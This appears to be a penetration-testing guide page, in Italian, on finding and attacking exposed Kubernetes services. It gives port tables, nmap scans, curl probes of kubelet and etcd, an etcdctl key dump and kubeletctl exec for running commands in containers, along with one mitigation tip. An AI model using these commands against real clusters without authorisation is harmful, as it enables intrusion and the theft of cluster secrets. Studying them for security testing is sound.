# Pentesting Kubernetes Services

{{#include ../../../banners/hacktricks-training.md}}

Kubernetes utilizza diversi **servizi di rete specifici** che potresti trovare **esposti a Internet** o in una **rete interna una volta che hai compromesso un pod**.

## Trovare pod esposti con OSINT

Un modo potrebbe essere cercare `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) per trovare sottodomini relativi a kubernetes. Un altro modo potrebbe essere cercare `"k8s.%.com"` in github e cercare **file YAML** contenenti la stringa.

## Come Kubernetes Espone i Servizi

Potrebbe esserti utile capire come Kubernetes può **esporre servizi pubblicamente** per trovarli:

{{#ref}}
../exposing-services-in-kubernetes.md
{{#endref}}

## Trovare pod esposti tramite scansione delle porte

Le seguenti porte potrebbero essere aperte in un cluster Kubernetes:

| Porta           | Processo       | Descrizione                                                            |
| --------------- | -------------- | ---------------------------------------------------------------------- |
| 443/TCP         | kube-apiserver | Porta API di Kubernetes                                                |
| 2379/TCP        | etcd           |                                                                        |
| 6666/TCP        | etcd           | etcd                                                                   |
| 4194/TCP        | cAdvisor       | Metriche del contenitore                                              |
| 6443/TCP        | kube-apiserver | Porta API di Kubernetes                                                |
| 8443/TCP        | kube-apiserver | Porta API di Minikube                                                 |
| 8080/TCP        | kube-apiserver | Porta API non sicura                                                  |
| 10250/TCP       | kubelet        | API HTTPS che consente accesso in modalità completa                   |
| 10255/TCP       | kubelet        | Porta HTTP di sola lettura non autenticata: pod, pod in esecuzione e stato del nodo |
| 10256/TCP       | kube-proxy     | Server di controllo dello stato di Kube Proxy                        |
| 9099/TCP        | calico-felix   | Server di controllo dello stato per Calico                            |
| 6782-4/TCP      | weave          | Metriche e endpoint                                                   |
| 30000-32767/TCP | NodePort       | Proxy ai servizi                                                      |
| 44134/TCP       | Tiller         | Servizio Helm in ascolto                                             |

### Nmap
```bash
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16
```
### Kube-apiserver

Questo è il **servizio API Kubernetes** con cui gli amministratori comunicano solitamente utilizzando lo strumento **`kubectl`**.

**Porte comuni: 6443 e 443**, ma anche 8443 in minikube e 8080 come non sicura.
```bash
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**Controlla la seguente pagina per imparare come ottenere dati sensibili e eseguire azioni sensibili parlando con questo servizio:**

{{#ref}}
../kubernetes-enumeration.md
{{#endref}}

### Kubelet API

Questo servizio **è in esecuzione in ogni nodo del cluster**. È il servizio che **controlla** i pod all'interno del **nodo**. Comunica con il **kube-apiserver**.

Se trovi questo servizio esposto potresti aver trovato un **RCE non autenticato**.

#### Kubelet API
```bash
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
Se la risposta è `Unauthorized`, allora è necessaria l'autenticazione.

Se puoi elencare i nodi, puoi ottenere un elenco degli endpoint kubelet con:
```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check  also for etcd
done
```
#### kubelet (Solo lettura)
```bash
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```
### API etcd
```bash
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### Tiller
```bash
helm --host tiller-deploy.kube-system:44134 version
```
Potresti abusare di questo servizio per elevare i privilegi all'interno di Kubernetes:

### cAdvisor

Servizio utile per raccogliere metriche.
```bash
curl -k https://<IP Address>:4194
```
### NodePort

Quando una porta è esposta in
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
## Vulnerable Misconfigurations

### Kube-apiserver Accesso Anonimo

L'accesso anonimo agli **endpoint API kube-apiserver non è consentito**. Ma puoi controllare alcuni endpoint:

![](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)

### **Controllo dell'Accesso Anonimo a ETCD**

L'ETCD memorizza i segreti del cluster, i file di configurazione e altri **dati sensibili**. Per **default**, l'ETCD **non può** essere accessibile **anonimamente**, ma è sempre bene controllare.

Se l'ETCD può essere accessibile anonimamente, potresti dover **utilizzare il** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **strumento**. Il seguente comando recupererà tutte le chiavi memorizzate:
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**

La [**documentazione di Kubelet**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) spiega che per **default l'accesso anonimo** al servizio è **consentito:**

> Abilita richieste anonime al server Kubelet. Le richieste che non vengono rifiutate da un altro metodo di autenticazione sono trattate come richieste anonime. Le richieste anonime hanno un nome utente di `system:anonymous` e un nome di gruppo di `system:unauthenticated`

Per comprendere meglio come funziona **l'autenticazione e l'autorizzazione dell'API Kubelet**, controlla questa pagina:

{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}

L'**API del servizio Kubelet** **non è documentata**, ma il codice sorgente può essere trovato qui e trovare gli endpoint esposti è facile come **eseguire**:
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'

Path("/pods").
Path("/run")
Path("/exec")
Path("/attach")
Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```
Tutti sembrano interessanti.

Puoi usare lo [**Kubeletctl**](https://github.com/cyberark/kubeletctl) per interagire con i Kubelet e i loro endpoint.

#### /pods

Questo endpoint elenca i pod e i loro container:
```bash
kubeletctl pods
```
#### /exec

Questo endpoint consente di eseguire codice all'interno di qualsiasi container molto facilmente:
```bash
kubeletctl exec [command]
```
> [!NOTE]
> Per evitare questo attacco, il servizio _**kubelet**_ dovrebbe essere eseguito con `--anonymous-auth false` e il servizio dovrebbe essere segregato a livello di rete.

### **Verifica dell'esposizione delle informazioni del Kubelet (porta di sola lettura)**

Quando una **porta di sola lettura del kubelet** è esposta, diventa possibile per parti non autorizzate recuperare informazioni dall'API. L'esposizione di questa porta può portare alla divulgazione di vari **elementi di configurazione del cluster**. Sebbene le informazioni, inclusi **nomi dei pod, posizioni di file interni e altre configurazioni**, possano non essere critiche, la loro esposizione rappresenta comunque un rischio per la sicurezza e dovrebbe essere evitata.

Un esempio di come questa vulnerabilità possa essere sfruttata coinvolge un attaccante remoto che accede a un URL specifico. Navigando su `http://<external-IP>:10255/pods`, l'attaccante può potenzialmente recuperare informazioni sensibili dal kubelet:

![https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)

## Riferimenti

{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2
{{#endref}}

{{#ref}}
https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
